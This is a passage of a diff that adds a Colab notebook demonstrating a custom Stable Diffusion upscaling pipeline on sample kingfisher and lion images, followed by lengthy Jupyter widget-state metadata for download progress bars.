+        "                                       latents,\n",
+        "                                       noise_level,\n",
+        "                                       guidance_scale)\n",
+        "\n",
+        "        # decode latents to get the image into pixel space\n",
+        "        latents = latents.to(torch.float16)\n",
+        "        image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n",
+        "\n",
+        "        # convert to PIL Image format\n",
+        "        image = self.transform_image(image.detach()) # detach to remove any computed gradients\n",
+        "\n",
+        "        return image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "iPMCQB179EQN"
+      },
+      "outputs": [],
+      "source": [
+        "# get all the components from the SD Upscaler pipeline\n",
+        "vae = pipeline.vae\n",
+        "tokenizer = pipeline.tokenizer\n",
+        "text_encoder = pipeline.text_encoder\n",
+        "unet = pipeline.unet\n",
+        "low_res_scheduler = pipeline.low_res_scheduler\n",
+        "scheduler = pipeline.scheduler\n",
+        "image_processor = pipeline.image_processor\n",
+        "\n",
+        "custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "HUxdvfo7eLcq"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n",
+        "shape = (200, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "SgbP2oQl9EUk",
+        "outputId": "b1b3d70c-58ef-497a-d87b-2c15073e4d2a"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an aesthetic kingfisher\"\n",
+        "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145
+        },
+        "id": "Wf8MTwFCeRrR",
+        "outputId": "17827131-0f99-408e-b61d-ff802509baa9"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg/"\n",
+        "shape = (200, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "QzkJk4Jo9Eca",
+        "outputId": "a5ddbb9a-7526-48f5-f449-22e54445fae2"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"a professional photograph of a lion's face\"\n",
+        "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "tT3jd43tdbeg",
+        "outputId": "d7a8e0a7-1ed1-4c18-8b6c-b5dcbf4c4fb5"
+      },
+      "outputs": [],
+      "source": [
+        "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+        "upscaled_interpolation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "5JUP7spYdbh2"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "00cdbd64ce7d4b5a835a550ffc6b3510": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "02ce6e12de0f4ff1ab8029cf16e5fb99": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "03856828685f4f9791a0c00f9b4f5ed5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "03b9fb0d0fa44ac8bf1a6aa678ff82c8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03bce4ac84fd40d485b023e21fe65c4f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ec0c44e82a814774823e60634d678b0d",
+            "placeholder": "",
+            "style": "IPY_MODEL_e71abb2ba1b546ff9d7acd0c174f60d4",
+            "value": "100%"
+          }
+        },
+        "07a431a9456648b6bcbfa899ee0014ac": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_639d6afb1b0440f98ce7e26cb621a111",
+            "max": 348,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7a9ce1cc3d71457797b0b1ca2831d514",
+            "value": 348
+          }
+        },
+        "080c7086e8684bb3bb857d23f426d5dd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0854db4c71b449a9b15e994a38a1ca13": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "085ee070cea44624806bcc7ada5ae36e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0a49275d970741f9b19f24569b80491a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0c21001820524963b1214a2738c28584": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ea062db0a1ad43af805bf2d86d26d369",
+              "IPY_MODEL_2218df295404427eb6086c25f41946c5",
+              "IPY_MODEL_682dc899e5ee4e24a9c0f1fc928fea6c"
+            ],
+            "layout": "IPY_MODEL_f8c3945c2c554cc9b7ea7435525c4ab4"
+          }
+        },
+        "0d89ddfa9593441097ce8e42614ef775": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_665a3a25e6d543d79e2e321aec4954aa",
+            "placeholder": "",
+            "style": "IPY_MODEL_d3971f94fa5f433580509a27ce3ad017",
+            "value": "Downloading (…)8440/vae/config.json: 100%"
+          }
+        },
+        "0df5b95ccc3d4550bb1be7c001f54577": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0fcb664708324ec1bc56c4daa4a2dd15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5af1c44c0f434510abd7fe9d76f263da",
+            "placeholder": "",
+            "style": "IPY_MODEL_895dd88b169e4688a51873bb1b3d2cd9",
+            "value": "Downloading model.safetensors: 100%"
+          }
+        },
+        "10d895cb5166417fa2b4cc0d2feb7b6f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1237bd63fa814b57bbd9741296d71f46": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "17c87915e01b4d2fa79042759bf1a57d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_29fb67ab990343b6a374b35718b8a6c1",
+            "placeholder": "",
+            "style": "IPY_MODEL_0854db4c71b449a9b15e994a38a1ca13",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "18ba1c9da9714f2494c06570e4dc1d64": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "1ae88e18373a4322bddf0e51e5460a89": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1df97f1113c34b7eb89c7d1c6a81b3bd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1e276839600443fa82ca0ab00409fd99": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1f37677826544166a0b63d36c9c3edac": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a8dbb00149f148ceaee2474c4304c902",
+            "placeholder": "",
+            "style": "IPY_MODEL_f3c0042a67e34e72b1088b60c11ba2d0",
+            "value": " 1.89G/1.89G [00:49<00:00, 33.0MB/s]"
+          }
+        },
+        "2218df295404427eb6086c25f41946c5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0df5b95ccc3d4550bb1be7c001f54577",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_63a7a29ac462471eb67b275c68faff42",
+            "value": 75
+          }
+        },
+        "22338ed9cec54338ad33267ed579603a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a5971d5b793545a3845fbe1029b557e1",
+            "placeholder": "",
+            "style": "IPY_MODEL_8384173365364cd5996018a775b167e2",
+            "value": " 75/75 [00:21<00:00,  3.57it/s]"
+          }
+        },
+        "238d055bf5ff4891b2e9c6aa28a89fad": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "23b55638314c4e2b967f85ab40042a6c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "274e736175d34926a0c614192288e510": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bce74d8ba4dd4a35bd276ba2dbf0ffd1",
+            "placeholder": "",
+            "style": "IPY_MODEL_f24b18d71065474a9f169b4fd66898f6",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "28c075d27bf8437c99b4fa8091d4d2c0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c883ad6804cd4f628494b1eb7f432e51",
+            "placeholder": "",
+            "style": "IPY_MODEL_6f1c7458863047598f98861765f325dd",
+            "value": " 485/485 [00:00<00:00, 8.74kB/s]"
+          }
+        },
+        "28fe7cfc4f4048eca1120a7228dcd629": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8f487d06f9834f1b8dd0a63ffec62436",
+            "max": 634,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ee5e249b357649ab95d493d940bc3b01",
+            "value": 634
+          }
+        },
+        "29da49469545454997e755839f8c156d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d62c5143fa1544ba9e2d22555dc6c3f9",
+            "placeholder": "",
+            "style": "IPY_MODEL_ba72519befe047eabb826d1f7ec0e39c",
+            "value": "Downloading (…)tokenizer/vocab.json: 100%"
+          }
+        },
+        "29fb67ab990343b6a374b35718b8a6c1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
